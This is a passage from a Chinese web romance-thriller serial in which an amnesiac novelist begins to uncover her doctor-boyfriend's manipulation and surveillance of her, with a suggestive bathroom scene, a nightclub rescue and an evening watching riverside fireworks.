上边的她笑得甜蜜,二人亲密无间,一对甜蜜的恋人。
“我还记得你拍这张照片时,还不想让我来M国,觉得太远了,拍个照不值得。”
千瑶开相框的手顿住,眼神怔了怔。
他支着头,看着那张毕业照,自顾自地说着。
“可是这是你人生的关键时刻,我不想错过的。”
她垂下眼眸,心里莫名一阵酸涩。
千瑶扭头注视着邵柏修,一时之间没说话。
“怎么这样看着我?”
邵柏修察觉到她的目光,视线平和,眼底还有些说不明的意味。
千瑶弯着唇角,“我只是觉得庆幸,还好我们补拍了。”
邵柏修拉着她的手腕,千瑶因这力道,一下就撞入他怀中。
手臂横揽她的肩,抬起她的下颌,与她接吻。
“千千,下次我们多拍些照片,都是有关于你我的经历。”
“好。”
千瑶弄好照片后,让邵柏修装上去。
他挽起手腕衬衫的袖子,露出有力的手臂,青筋暴起。
他拿着相框,站上凳子,千瑶站在下方。
她看着他的背影,忽然有些恍惚。
“哥哥——”
“哥哥——你等等我。”
千瑶看着前方的身影,没有半点要等她的意思。
她脖子上还挂着相机,背着书包跑得气喘吁吁。
千瑶拦在他面前,“你明天就要高考了,高考前我和你拍张照片,纪念一下。”
他抬了抬眼,停下了步伐。
千瑶见他停了下来,就开始调相机的像素。
哥哥总是这样,叫他是不会停的,只有她站在他面前,她累得上气不接下气才会停下。
哥哥就是喜欢看她的狼狈模样,非常极具恶趣味。
哥哥低头看她,而后察觉到什么,视线转向她身后的几个男生。
他们往这边看了几眼,目光全在千瑶身上。
看到他的视线,那几个男生就像是被什么盯上了。
阴森寒冷,让人起了一身的鸡皮疙瘩。
在那种视线的警告下,他们直接就走了。
千瑶还在调相机,忽地背包一轻。
哥哥拎起她的书包,抬起她的手臂,把书包背带从她肩上脱下。
“欸,哥,你干什么?”
哥哥拉开她书包拉链,最外边的那层拉链没拉好。
他直接从里边拿出几个巧克力,还有五六封情书。
千瑶眼睛都瞪大了,她根本不知道自己书包里有这些东西。
她直接竖起了三根手指,“我千瑶对天发誓,我从未早恋,我一直都好好学习,天天向上。”
“还有两年我就要高考了,我要向哥哥学习,当年级第一记录的保持者。”
“在高考面前,什么都是浮云。”
哥哥挑起眉梢,嘴角噙着一抹笑意。
他俯下身,器材室的灯光照在他的侧脸,他一步步地往前。
千瑶咽了口唾沫,往后退到墙壁上。
他伸出手,食指堵在她的唇上,视线从上到下流连。
“哥哥,你、你别这么看我。”
千瑶觉着他一边笑着,一边审视她的时候,眼神有点吓人。
“千千,你不诚实。”
“收了别人的巧克力还有情书,下一步是不是就该恋爱了?”
“选谁做男朋友?哪个班的?”
哥哥俯身向下,灼热的气息抵着她。
背部贴着冰凉的墙壁,千瑶想走了,但是被哥哥拽回来。
她的双手被束,抵在头顶。
“说话。”
“你要是这么想,那我也没有办法。”
哥哥皱眉。
“是他们主动的,我都不知道。”
千瑶越说越委屈,“哥哥,你不要误会了。”
哥哥气笑了,松开了她的手腕,“谅你也不
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敢早恋,若有下回,你知道我会怎么做。”
“他们一个都逃不了。”
千瑶眼泪在眼眶里打转,她见哥哥把那堆情书都撕了,扔到了垃圾桶里。
她没吭声,只是把书包的拉链拉好,双手捧着相机。
“......我想跟你拍个照,哥哥。”
哥哥让她去外边,外边光线好。
“你同意了?”
哥哥表情恹恹,揽着她的肩膀,不爽地看着镜头。
千瑶看着哥哥,自己还比他低了一个脑袋。
她想了想,踮起脚尖看向镜头微笑。
“千千,千千?”
千瑶记忆回笼,她一时眼前恍惚。
“千千,正了没?”背对她的邵柏修问。
“啊,往左一点,对。”千瑶回复道。
千瑶颓然坐在沙发上,刚刚的回忆一闪而过。
就像胶卷一样,一幕幕地展现在眼前,可是她还是没看清楚脸。
她捂着脑袋,耳鸣声一阵阵地传来。
“千千,你怎么了?”邵柏修的声音在耳边。
他担忧地看向沙发上的千瑶,她缓了好一会儿,那股痛感才过去。
“没事,我可能有点累了。”
她给邵柏修一个安心的眼神。
夜里凉风裹挟着寒意而来,再过几个月就要入冬了。
千瑶坐在梳妆镜前,手指顺着发丝,涂完了护发精油。
视线注意到镜旁的照片,她放下梳子。
她拿起来,右下角有日期。
千瑶看着两人的合照,亲密无间青涩稚嫩,是她16岁时所摄。
照片中的光线正好,阳光停留在她上挑的嘴角。
邵柏修的眼神,和方才记忆闪回的哥哥,两人的视线实在是太像了。
“为什么一直看着这张照片?”
身后的脚步声靠近,声音适时响起。
“邵柏修,我是不是有一个哥哥?我觉得他的模样......身影和你很像。”
千瑶的头又开始疼,她捂着发疼的脑袋。
从镜中看到邵柏修一直在注视着她。
那种眼神她如坠冰窟。
温柔的笑意挂在唇边,上扬的弧度陡然下坠,脸垮下来。
没有温度,没有温情,犹如一片死寂。
这一秒的转变,瘆人得可怖。
邵柏修把手搭在她的肩膀上,倾身向下,贴着她的耳侧。
声音呢喃,“千千说什么呢,你的记忆又出现混乱了,这是很正常的现象。”
“是有一部分的病人脑部受到撞击,记忆与幻觉交叠,也许他根本就不存在。”
千瑶扭头,邵柏修笑得温柔,捧着她的脸,吻上她的唇。
勾着她的舌尖,手指揉捏着她的后颈。
加深这个缠绵的吻,撬开她的唇齿。
千瑶手抵在他的胸膛,艰难地吞咽喘息,她用力推了他一下。
邵柏修离开她的唇,看着她不解。
“你说的是真的吗?”
邵柏修捏着她的下颌,千瑶微仰起头,手指认真地描摹着她的眉骨。
他额头相抵,握着她纤细的手,放在自己的胸口。
心跳声在她股掌之下。
“我是你的主治医师,不会骗你的。”
“听心跳声,多平稳。”
说完后,他抱起千瑶,往浴室走去。
23. [锁] [此章节已锁]
邵柏修抱着她,她的手被迫横跨在他的脖颈上,才不让自己摔下来。
爆发力十足的手臂托着她,揽着她的腰身。
“宝宝,想和你......”
靠近她的耳朵,低声喃喃后边的话语。
他一本正经地说出那个字时,千瑶的脸霎时羞红了,脑袋埋在他的胸口。
浴室里雾霭氤氲,她的眼睫沾着水珠。
花洒水喷涌而下,温暖的水流淋在她白色的睡裙上,裙摆一下就湿了。
身体曼妙的曲线被水包裹着,他的指尖点在她肩头,灼热的吻覆盖而上。
手指微勾,扣着她的肩。
“邵柏修,你别看了。”
千瑶脸颊绯红,红得滴血,紧抿着唇。
被他的视线注视着,灼灼炙热,极具侵略性。
浴室的灯光很亮,以往在室内,台灯的光没有这么明亮。
现在简直,很糟糕。
他的眼神灼热,眼底的占有欲滚烫。
她的耳朵带着瑰丽的粉,花洒上方的水流打湿她的脖颈,顺着她的眉骨往下滴,流到唇角,流过下颌。
邵柏修划过她的一对锁骨,吻在微微凸起的线条流连,手指下滑。
她的膝盖微屈,柔软的耳垂被人揉捏着。
“难受......”
唇间接吻,极端的刺激,让她蹙着眉头。
呜咽声埋没在水声里,邵柏修的衬衫被水打湿,雾霭的水汽翻涌,手臂的肌肉的线条陡然崩紧。
千瑶的衣服都湿透了。
千瑶躺在浴缸里,手搭在浴缸边缘,指尖抓着边缘,肌肤透着粉嫩的红。
他的□□,喷薄在她的耳侧。
“不要这样了。”
她眼神在祈求,让他停下来。
浴缸的水漫上她的腰迹,仰起头时,墨发浮在水面,荡开层层涟漪。
邵柏修摸着她的肩胛骨,水汽喷薄在她的脸上。
头顶的花洒水流湿热,淅淅沥沥而下,水声绵延不绝。
他咬着她的肩头,“宝宝,你主动,我就给你,好不好?”
上下倒转,她坐在他腹肌上。
浴缸的水漫过他精壮的腰,千瑶看着下方的人,衬衫敞开漏出的肩膀宽阔。
她的眼尾晕红,泛着潋滟的水光。
喘息很急促,脑袋都是懵的,小心翼翼地扶着他的肩头。
邵柏修扶着她纤细的手臂,唇齿间溢出一声闷哼。
“宝宝...真的很会......”他哑着声音。
千瑶脑袋趴在他的肩上,低声喘息。
她从没想过会这么疯狂,狭小浴缸里肌肤相抵,缠绵悱恻。
湿润的发丝粘在她的唇边,她咬着嘴唇,直接咬破了皮。
顶上淋浴的水簌簌滴在水面,激得浴缸的水声越来越大,她低声啜泣。
“邵柏修,我累了。”
他吻着她的泪水,隐忍到了极致。
手臂上的青色血管凸起,抱着她的腰肢抵在冰凉的墙面上。
“咬我,千千。”
邵柏修的眼神晦暗,扶着她的后颈,让她咬自己的脖颈。
她咬了上去,他的动作陡然一缓,而后宛若狂风暴雨般地倾覆而上。
......
千瑶躺在床上,不自觉地蜷缩在一起。
她醒来已经是大中午了,她翻开手机,微信没什么别的消息。
倒是林木子时不时地给她发视频,除了萌宠,大部分都是恋爱技巧。
她最近在忙别的事情,很少和她出来约了。
不过看得出,她是真的操心小姐妹的感情。
想到林木子,她总觉得奇怪。
每次见她,无论是逛街还是平常的相处,她特别关心她和邵柏修的感情。
千瑶谈到闺蜜,除了雪莉卡,就是林木子了。
雪莉卡下午约她出来,要一起去看海。
这次是雪莉卡开着她的超跑来接千瑶。
千瑶看着停在门前的红色敞篷,雪莉卡对她吹了个口哨。
“嘿,美女,上车。”
二人来到海岸边,海风吹得她的白裙微扬。
千瑶看着海岸线,海浪一阵阵地袭来,海边的落日很美。
她闭上眼睛,感受到一种自由和快意。
“千,那儿有个秋千,咱们去荡秋千。”
雪莉卡拉着她,二人坐在秋千上,面朝大海。
“千,为什么见你一直心事重重?是不是还在想那个纸条?”
千瑶摇头,并不是。
“你觉得我的男朋友怎么样?”
雪莉卡摩挲着下巴,摘下墨镜看她,“怎么?想分手了?”
她兴致就来了,饶有趣味地看着千瑶。
“没有,我只是问问你对他的印象。”
“长得帅,有钱,对你还算可以。不过......我总觉得哪里怪怪的。”
雪莉卡躺在靠椅上,说不出来。
“反正我觉得他配不上你。”
“为什么?”
她起身,“在我眼里,谁能配得上我的千?”
“谁能像我一样,对你这么好?”
她手指勾起千瑶的下颌,“他算什么?”
千瑶放下她的手,她笑了笑,“好好好,雪莉卡对我最好了。”
雪莉卡戴上她的大墨镜,看着前方的落日。
“雪莉卡,你知道林木子吗?就是我的闺蜜。”
“啊?”
“你背着我还有别的闺蜜?”雪莉卡诧异。
“反正我没听过这个名字,至少是你来大学的时候我没听你提起过。”
“说起来,我对你18岁之前的事情都不了解,你靠我找记忆怕是难。”
千瑶陷入沉思,雪莉卡也不清楚。
二人没有在海边停留太久,看完海边落日后就回家了。
雪莉卡还有别的事,就不留下来一起吃饭了。
千瑶想去书房看会儿书,邵柏修还没有回来。
她看着书架,对邵柏修那片的心理学书籍挺感兴趣,随手拿了一本来看。
刚开始看没多久,发现目录被人拿红笔画了一个圈。
被圈起来的是四个字:吊桥效应。
批注写道:可实施。
千瑶皱着眉头,翻到对应的页码。
上边是对吊桥效应的含义,案例等等解析。
该理论认为:心动不等于心爱,但是爱情却需要心动。[1]
“吊桥效应”开始于一种危险、刺激的处境下,这也是爱情中所需要的。[1]
恋爱过程中需要营造浪漫的氛围,创设激发对方良好情绪体验的环境。[1]
千瑶看到这里,心里越发地感到凉薄。
也就是说,处在极端环境下,类似走过高空的吊桥,人会不由自主地紧张而心跳加快。
此时会对身旁的人产生心跳加速,误以为是对其心动。
吊桥效应这一页,并没有进行批注,页码的右下角有个折角。
千瑶放下书,感觉浑身瘫软。
书掉在了地上,她人也倒在了身后的座椅上。
她浑身起了鸡皮疙瘩,反胃直泛恶心。
邵柏修到底对她做了什么。
带她看恐怖片。
邀她去密室逃脱。
和她去爬山,途径高空玻璃栈道。
因为她对雷声的恐惧,自然地寻找他为依靠。
......
千瑶在这一刻,觉得整个世界都是昏暗的。
就像淹没在海里,榨尽了体内的全部力气,无法呼吸。
她的眼睛干涩,泪
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水在眼眶里打转。
她将书放回原位,下楼让赵叔把车钥匙给她。
赵叔不肯,“小姐,这么晚了你要去哪?”
“钥匙给我。”
“我送您去就好了。”
千瑶没有说话,夺走他的钥匙就开走了宾利。
她开着车,毫无目的地。
眼泪不停地砸下来,湿了眼眶。
脑海中全是那些文字,还有邵柏修和她经历的一幕幕。
他一直在设计她。
邵柏修骗她,一直一直在骗她。
千瑶看见一家夜店,也不知道叫什么名字。
霓虹灯照着人群沸腾的舞池,音乐的DJ声震耳欲聋。
酒精的迷醉让人陷落,与身旁人贴身热舞。
千瑶走进去要了一杯浓烈的酒,她坐在吧台。
仰头灌下,酒在喉咙里就像被火烧,烈得她眼尾发红。
她一杯又一杯地续,喝得又猛又急。
千瑶一身雪白的长裙,裙摆有小花点缀。
刘海微卷,看向人时的眼睫蒲扇,带着迷离的泪光。
她的穿着与周围人格格不入。
千瑶喝得脖颈绯红,脸颊也晕出不一样的粉。
她眼眶蓄满了泪水,眼泪一滴滴地流下。
满屋子的PS图片,对她使用心理暗示。
她对邵柏修的心动可能只是那一瞬间的吊桥效应,她其实并不是很喜欢他。
可是......为什么她还是这么难受。
邵柏修说的恋人根本就是假的,都是假的。
他的嘴里没有一句实话,他是坏的。
他真的好坏好坏。
千瑶朦胧的眼,看到远处有一张熟悉的脸。
那个女服务员长得特别像林木子,她在给人倒酒。
酒精的作用下,让她的大脑迟钝。
即便是这样,她不会认错。
千瑶自嘲一笑,什么都是假的。
远处的林木子见到吧台的人,她猛地一怔。
那是千瑶。
不过她现在的状态,一杯一杯的酒往嘴里灌。
这样下去不行。
她拿出电话,简单说了这件事后,立刻给邵柏修发了定位。
千瑶支着脑袋,看舞池的人跳舞。
“妹妹,一起去跳舞?”
一个穿着花衬衫的男人坐在她身边,手边持着一杯鸡尾酒。
她看了一眼,酒气上涌,“谢谢,我不去。”
她揉了揉眉心,她的头很痛很晕。
衬衫男眼神上下逡巡,淫.秽的视线扫过她纤细的腰身,在白皙的脖颈停留。
千瑶如今半趴在吧台上,手臂枕着脑袋。
不安地蹙着眉,长睫微微阖动,视线朦胧无焦距。
衬衫男看得心火旺盛,一股热意上脑。
他抓着千瑶纤细的手腕,肌肤滑嫩一捏就红。
“一起来玩嘛。”
千瑶推着他,力气很小。
脑袋被迫靠在他肩头,腰身被揽着,无法挣脱开。
“砰——”
衬衫男被人膝盖一踹至胸口,直接飞出三米远。
狠狠地砸在玻璃桌上,惊得卡座上的几名男女四散开来。
玻璃骤然破开,锋利的玻璃渣飞溅。
背部全被玻璃渣得流血,蜷缩在地上哀嚎。
所有人都被这个动静吓到,气氛在此刻降至冰点。
千瑶落入一人的怀抱,她努力睁了睁眼。
眼前出现一个模糊而熟悉的面容。
而后她直接被打横抱起,看着他冰冷的下颌线。
薄唇紧抿,衬衫下的手臂肌肉绷直,浑身裹挟着寒冷。
能看得出邵柏修现在很生气。
“千瑶,你最好给我一个合理的解释。”
24. 第24张照片
千瑶被抱着,手臂无力下垂。
她此刻一句话也不想说。
邵柏修把人放在车上后,一脚油门踩下,回到御萃长庭。
他踹开房门,将人放在床上。
千瑶感觉到下方的柔软床铺,她摇摇晃晃起身,还要离开。
“去哪?”
她捂着嘴,干呕了几下。
邵柏修将她抱到厕所,她吐了个昏天黑地。
千瑶难受得直出冷汗,脸颊不正常的红。
整个人蜷缩在床上的一个角落。
邵柏修见到她这副模样,心里的火气也逐渐地减小。
他拿着热毛巾,给她擦去额上的汗水。
邵柏修下楼去给她煮醒酒汤。
千瑶听到关门声,楼梯的脚步声越来越远。
在酒精的作用下,一切微小的情绪在此刻放大。
她攥着胸口,犹如被撕裂的疼痛。
她捂着唇默默哭着,低声呜咽,打湿了枕头。
邵柏修端着醒酒汤,回来就见到这一幕。
他坐在她床边,心里一紧,柔声问道:“宝宝怎么了?”
“是遇到什么事情了吗?”
邵柏修指腹擦去她眼尾的泪水,扶她坐起。
“先喝醒酒汤。”
千瑶看着邵柏修,他在吹着勺中的汤,试了试温度。
勺子递到她唇边,让她张嘴。
千瑶看着汤,张开了口,他喂一口,她就喝一口。
她喝完后,感觉胃里好了很多。
邵柏修擦去她嘴角残留的药液,揉着她的小腹。
“宝宝,刚刚我要是来晚了,就要出事了。”
“到底发生了什么?”他试探,“还是说,你想起来了什么?”
邵柏修的眼底暗沉,笑意勾起。
温柔的眉眼在此刻她却感觉冰冷。
千瑶主动环抱上了邵柏修,脑袋蹭了蹭他的胸口。
声音软糯,“邵柏修,我刚刚在找灵感呢。”
“我想找到男主失恋醉酒的感觉,我代入了一下,好难受。”
邵柏修摸着她的下颌,在她的唇上盖下一吻。
“所以你就去夜店?”
“故事的背景就在夜店。”
“为什么不和我说?”
邵柏修在她的耳边说道:“自己偷偷去,我心情很不好。”
“我说了你就不让我去了。”
邵柏修将她放在床上,抚摸着她的额发。
手指描摹着她的唇,点在她的唇珠上。
“我不希望你瞒着我,无论什么事,都不要瞒着我。”
他俯下身,视线灼热滚烫,“好不好?宝宝。”
千瑶与他对视,缓缓点头。
而后别开眼,拉上了被子,但是发现拉不动。
她扭头,对上邵柏修眼底的暗色。
犹如往深潭投入一颗石子,晕开层层涟漪。
“千千,吻我。”
他揽着她的腰,而后指尖往下滑。
鼻尖抵鼻尖,她脸上的绯红未消,酒醉的晕眩还在持续。
炙热的气息喷薄在她的下颌,让她看着自己。
千瑶透过瞳孔中的光影,见到他浓郁的情.欲。
千瑶拿下他的手,转过身不想看他。
“我不想,邵柏修,我不想。”
邵柏修听她带着哭腔,这是她第一次彻底地拒绝他。
他从身后抱着她,让她靠近自己。
“好,不想就不做。”
“别哭。”
-
千瑶捂着脑袋,起床时还是晕晕的。
宿醉的疼痛让她头痛欲裂,她缓了好一阵。
她摸着一侧,被子是冷的。
邵柏修已经离开了很久。
她从自己的包包中拿出之前雪莉卡买给她的新手机,查到了一家侦探社。
她约了成侦探出来,就在下午见面。
千瑶想了想,先约了雪莉卡出来。
她吃好中餐后,就出门了。
她见到赵叔已经等在了门口,她带着歉意道:“赵叔,抱歉昨天我心情不好,让你担心了。”
千瑶小姐一向很有礼貌,为人随和。
赵叔昨天在她走后,及时跟邵总说了这件事。
邵总大发雷霆,势必要他找到人。
好在昨天她并未出事,不然他真难则其咎。
“小姐没事就好。”
她让赵叔放她在商圈下,冷风凌冽,她双手插进兜里。
虽然是下午,太阳的暖光照在身上还是冷冷的。
千瑶大老远就见到雪莉卡,她坐在长椅上,双腿交叠。
坐得歪歪斜斜,一手搭在椅子上,正在晒太阳。
“去哪儿?什么安排?”
雪莉卡很随性,千瑶叫她出来她就来了。
“看电影吧。”
雪莉卡比了个OK的手势,千瑶事先已经订好票了。
她们走到影厅,去验了票。
还在等待时,雪莉卡买了两份大爆米花。
千瑶一桶,她一桶。
千瑶去自动贩卖机前,想买两瓶汽水。
从贩卖机的玻璃门看见,在她后头不远处,站着一个男人的身影。
她一眼就认出,他就是赵叔。
除了他以外,还零零散散的站了几个人,目光都注视着这边。
千瑶知道,这路上一直有人跟着她。
之前还只是有赵叔一人,现在又多了几个她没见过的面孔。
邵柏修经过昨天一事,他又加强了对她的监视。
千瑶敛了敛神色,投币拿饮料。
“千,这个爆米花好香。”
雪莉卡都快吃了一大半。
“雪莉卡,等会儿我可能看到一半就走了,我之后再回来,不能陪你了。”
“什......”她被塞了一口爆米花。
“我临时有些事情,暂时需要离开一阵。”千瑶说得很小声。
“是很重要的事情。”
雪莉卡顿时瞳孔放大,“又想鸽我?”
千瑶把自己的爆米花还有两杯饮料都移到她那边。
又从自己的包里拿出巧克力和小面包。
“想讨好我?”
千瑶点头。
雪莉卡看她那个样,“后半段能回来不?两个小时半呢。”
“能的。”她双眼发光。
快到时间了,她们入场验票。
二人坐在影厅内,灯光还亮,观众未入场完毕。
赵叔他们进不来,这个电影是她临时买的,他们不知道预定的时间。
千瑶扯了扯雪莉卡的袖子,雪莉卡放下手机看她。
“雪莉卡,我想以你的名义开一个银行账户,把我的稿费放进去。”
“嗯?”
“我想......分开存钱,可以享受不同的优惠和利率。”
雪莉卡盯着她,表情很严肃。
“千,你老实告诉我,你是不是遇到什么事情了?”
又是手机卡,又是银行账户的。
她很难不多想,千瑶一定是遇到棘手的事情了。
千瑶沉默了一会儿,面对雪莉卡的视线,千瑶还是没有将事情都告诉她。
“这件事情很复杂,你知道得越少越好。”
邵柏修
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能给她设套做局,他的心思特别缜密。
派人监视,手机控制。
他这个人太可怕了。
雪莉卡一直在帮她,她只有知道得越少,邵柏修才不会怀疑她。
“你是我唯一可以信任的人了。”
“雪莉卡,拜托了。”
“你确定自己能解决?”
“嗯。”
雪莉卡叹了口气,捏了捏她的脸,“既然你这么说,那我就不问了。”
“帮你帮你。”
灯光全暗下来,电影刚开头没几分钟。
千瑶就从座位上离开,她拿的是新手机,邵柏修给她的旧手机就放在这里了。
她出了影厅,穿过电影院的走廊。
从后头的小门,走员工电梯,一路下到了负一楼。
她从车库走出去,到繁华街道,拐角的104咖啡馆。
里边的人已经等候多时了。
“你好,请问是成侦探吗?”
成侦探穿着皮夹克,下身配着洗着发白的牛仔裤。
他的年纪约莫三十多,带着一顶黑色牛仔帽。
“千小姐请坐。”他点头。
“你委托我查什么事呢?老公出轨,猫狗走失,这些我都是很擅长的业务。”
“我想让你帮我查两个人。”
她将自己做好的word文档材料,总共两份发给了他。
这些是千瑶顺着记忆,将自己所有知道的记录了下来。
“邵柏修,3443。”
成侦探看着手机的资料,“有点难办,还涉及到精神病院的病人,这一家精神病院保密性很高。”
“我可以加钱。”千瑶说着就要拿手机。
“欸欸欸,别,你这是对我职业素养的侮辱。我既然接了你的活,就没有办不到的。”
成侦探摆了摆手。
千瑶起身感谢,“那就多谢成侦探了。”
千瑶从咖啡馆出来,快步走向了车库,想要走之前的路线。
可在她拐出拐角时,在街对面见到了一辆劳斯莱斯。
后座的车窗只摇下了一半,她见到后座那人,熟悉得不能再熟悉。
——是邵柏修。
车在等红灯,他手肘撑在车窗边缘,微风吹过他额前的碎发。
他时不时看向窗外,阳光停留在他完美的侧颜。
车停在左转车道,没过一会儿就要往她这边来。人行横道的绿灯亮了,街道上的人很多。
千瑶心跳得飞快,她攥着包带。
斑马线上人很多,如果她走得快,邵柏修不会注意到她。
她这么想的,也就这么做了。
千瑶没有犹豫,跟随着人群往街对面走。
她淹没在人群中,步子走得飞快,与心跳声几乎同频,她让自己镇定下来。
邵柏修看着腕表,指尖摩挲着表带,副驾驶的邹秘书看向后视镜。
“邵总,您这块表挺独特,不像是您会戴的,可我见您戴了很久。”
“一只兔子送的。”
邹秘书笑笑,看邵总的表情,他今天心情不错。
邵柏修看向窗外,斑马线的人从车前穿过。
忽然他眼神一缩,看到一个熟悉的身影。
白色的倩影,身材娇小。
长发披散至肩后,齐刘海蓬松卷起随风飘动。
邹秘书看着后视镜,察觉到邵总的表情变得阴沉。
他顺着目光看去,那人的背影极其相似千瑶小姐。
他只看到个背影,也没敢确定。
邵柏修眼神微眯,支着脑袋注视着那个身影。
再仔细看去,那娇小的身影就不见了。
25. 第25张照片
他看着手机上赵叔先前发的消息。
【小姐和雪莉卡在瑞尔影城看电影。】
邵柏修拿着手机,指尖在键盘上。
【S:还在吗?】
【赵叔:在,她们还没出来。】
邵柏修眼色一沉,他打开软件,看到那个定位还在影城上闪烁。
他看着窗外,若有所思,可能真的是看错了。
千瑶经过斑马线,迅速走入车库,按照既定的路线重新回到了电影院。
她坐回位置,电影还剩下二十几分钟,荧幕还在放映。
千瑶和雪莉卡又去商场逛了逛,买了几件衣服。
“哦,对了千,忘记跟你说了,我可能下周就要走了。”
雪莉卡挽着她的手,二人在商场的一处长椅歇脚。
千瑶捧着奶茶,她愣住,“这么快?你去哪?”
雪莉卡笑笑,“回M国啊,我本就不打算停留Z国太久。”
“预计下周会得到审批,所以我打算完成调研后就回去了。倒是你,还要待多久?记得常来找我哦。”
千瑶低下眉眼,六神无主地哦了一声。
口中的奶茶也不甜了,一种失落涌上心头。
“好啦,别这样,看你的小脸都皱成什么样了。”雪莉卡捏着她的下巴。
让她抬起头,看着自己,又揉了揉她的脸。
“你几点的航班,我到时候去送你。”
“我有私人飞机,不过我走之前一定和你说。”
千瑶笑着点头,她会去送机的。
千瑶从商场回来后,去书房码了好一会儿字。
雪莉卡的效率很快,一下就搞好了。
千瑶联系了编辑,要换绑银行卡号。
她觉得之前的银行卡被邵柏修知道了,包括密码以及存款数额。
她打算换一个他不知道的,但她会留一些钱在旧卡里。
一点点慢慢地转,这样的钱款流向,他也不会知道。
千瑶点开微信,点到与应斯年的聊天界面。
聊天还停留在之前商讨原著剧情,都是工作往来。
她约他在今晚七点,在国贸大厦附近的餐厅吃饭。
应斯年几乎秒回,他很快应下。
千瑶下楼,王妈在厨房准备晚餐。
“王妈,我今晚不回来吃了,你准备一人份的就好。”
“啊?可是先生今晚会提前回来,他很期待和您共进晚餐的。”
“我有事先出去了,让他不用等我。”千瑶垂下眼眸。
晚上七点,千瑶准时赴宴。
应斯年低头看手机,一抬眼千瑶已经坐在他面前了。
服务员走过来,“先生,小姐,这是菜单。”
她将菜单放在二人面前。
“菲力牛排五分熟,Spaghetti,还有橙汁。”
应斯年看向她,千瑶说:“一样。”
他看着千瑶,“我有点惊讶,这还是你主动约我出来。”
他双手撑着桌面,看着她莞尔一笑。
一些细节其实都在线上沟通过,也差不多要到收尾工作,应斯年本以为没有机会再见了。
他看到消息时还很意外。
“只是有些事线下说会好一点。”
千瑶从包里拿出手机,点开微信,再点入加好友的二维码。
“你扫一下。”
应斯年拿起手机,扫了一下,双方互加了好友。
他看着陌生的头像和网名,网名:千。
头像是一朵粉色的小花。
“千?这个也是你?”
他将手机转过去,指着页面。
千瑶点点头,“这个是我的新微信号,你以后工作上对原著有哪些不懂的,可以在上边和我沟通。”
她又在聊天框发了自己的电话号码。
“这是我的私人号码,你有急事可以打我这个电话。”
应斯年点头,他加到了通讯录里。
这时服务员端上牛排,千瑶说了声:“谢谢。”
“你怎么忽然换了号码?”
“因为不想被人打扰,这个私人号码我希望你也能替我保密。微信上的事,用新加的这个号聊就行。”
应斯年点头,他切着牛排。
见到面前的千瑶心不在焉,她拿着刀切得很慢,在想什么事。
应斯年切好后,将她的牛排与自己的换了位置。
千瑶抬眼,看到他的举动,有些惊讶。
“我切好了,没动过,你吃这份吧。”
千瑶看向他,说了一声谢谢。
二人边吃着,边聊小说的事情。
千瑶与他交谈,嘴角不停地上扬,她一聊到小说感兴趣的话题,就停不下来。
“我见你好像闷闷不乐?”
“有吗?”
应斯年点头,她只有在刚刚才偶尔笑笑,刚才一直在皱着眉头。
“我们等会儿去江边看烟花秀吧,听说会很精彩,也仅限今晚。”
千瑶犹豫了一下,她看了眼时间。
准备九点钟。
她忽然不想按时回去了,她不想见到邵柏修。
“好。”
二人走出餐厅门后,她发消息让赵叔别等,她可以自己回去。
【赵叔:可是,先生那边。】
【Q:你先下班吧,就说我说的。】
千瑶发完消息后,没有再多解释什么。
她看向身侧人,“走吧。”
江边的晚风吹着人,江面平静波纹随风荡开。
江上的游船灯光闪烁,一艘艘的船驶过。
千瑶和应斯年坐在一个台阶上,江边已经聚集了很多人。
刹那间,一道光束腾空飞起。
在天空炸开万般丝线,烟花烂漫。
下坠时灿如烟火,坠若流星。
千瑶仰起头,眸中倒映着烟花的火光,嘴角不由得上扬。
“......好漂亮。”
应斯年看着天上的烟火,他感叹地看着夜空的璀璨。
二人谁也没说话,耳边响起声声烟花绽放的声音。
忽然,千瑶的耳边传来,“冬至快乐。”
她诧异地扭头,愣神了,落入他的视线里。
她不记日子,也不知道今天是冬至。
千瑶微笑,“你也是,冬至快乐。”
璀璨的烟火是短暂的,天空又恢复了之间的沉静。
江边有人在唱歌,听着舒缓的音乐。
千瑶的心情好了不少。
“我已经好久没回家了,一直在京市打拼,可现在还是默默无闻。”
“今年的冬至,我原以为还是我一个人过,没想到你的消息就来了。”
应斯年弯了弯唇角,俊美的容颜看着江面。
他拢了拢大衣,千瑶这时才看到他戴着的围巾。
那黑色围巾是上回她给应斯年的。
“和你相处,我也很开心的。”
千瑶撑着下巴看他,“你的观察很细致,我确实心情不好,你带我看了烟花,我感觉心里平静了很
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多。”
她看向前边围坐的人群,歌手唱得入情。
“就在刚刚犹豫看烟花时,我也想通了很多事情。”
“那你呢?不回去和家人一起吗?”
千瑶脑海中浮现那个人,她摇了摇头。
很多情绪哽在喉间,看着江面不说话。
“千千。”
她听到后头有人唤她。
千瑶回头,见到一人缓步走下阶梯。
硕大的黑色风衣穿在他身上比例刚好,修长的腿缓步迈下。
抬眸间,黑色的眸子宛若夜空的昏暗,静静地注视阶梯下的二人。
唇角微勾而起,凝视着下方。
“聊什么呢?我也听听。”
邵柏修单手插兜。
千瑶站在风里,吹得她的头发凌乱。
她在那瞬间,呼吸短暂地停滞。
就像被什么东西冻住了,根本使不上力气喘息。
应斯年也站起来,看着这个突然出现的男人。
“你好,你是?”他伸出手。
邵柏修看了他一眼,没有伸手。
他解下风衣,披在千瑶身上。
“应先生看不出来么?我们的关系,千千你告诉他。”
千瑶看着身上的风衣,她看向邵柏修皱眉。
他的语气不善,她不喜欢他这么夹枪带棒的说话,“邵柏修,你别这样。”
应斯年看着他亲密的举动,收回了手。
“斯年,这位是邵柏修。”
邵柏修揽过她的腰,俯身而下在她耳边说道:“宝宝要不要告诉他,我们是......”
他刻意停顿,“上过床的关系。”
“免得他老是缠着你。”
千瑶皱眉,对他摇头。
“那我说。”
“邵柏修,我想回去了。”她制止道。
千瑶攥着他手臂的衬衫,抓得特别紧。
一双眉毛蹙起,浑身紧绷。
“知道我生气,为什么还这么做?宝宝。”他低声道。
邵柏修伸手握着她,十指相扣。
千瑶没有理他,看向应斯年,“抱歉斯年,我们先回去了。”
邵柏修揽着她的腰,从应斯年面前经过。
他挑起一抹笑意,勾唇笑得肆意。
“宝宝,好久没和你做.爱了。”
声音不大不小,刚好能让身旁人听到。
闻声的应斯年身体一僵,扭头看向已经远去的二人。
冷风吹着围巾翻飞,他站在原地,许久没有离去。
“赵叔,回去吧。”
邵柏修靠着椅背,手搭在车沙发上。
身侧的人沉默,她扭头静静地看着窗外。
“千千,晚上出去没跟我说是去见应斯年。”
邵柏修指骨点在座椅上,路灯的光照在他的眉骨,看不清神情。
千瑶扭头看向邵柏修,对他一笑,“邵柏修,我忘了。”
“那过了约定的时间,也忘了?”
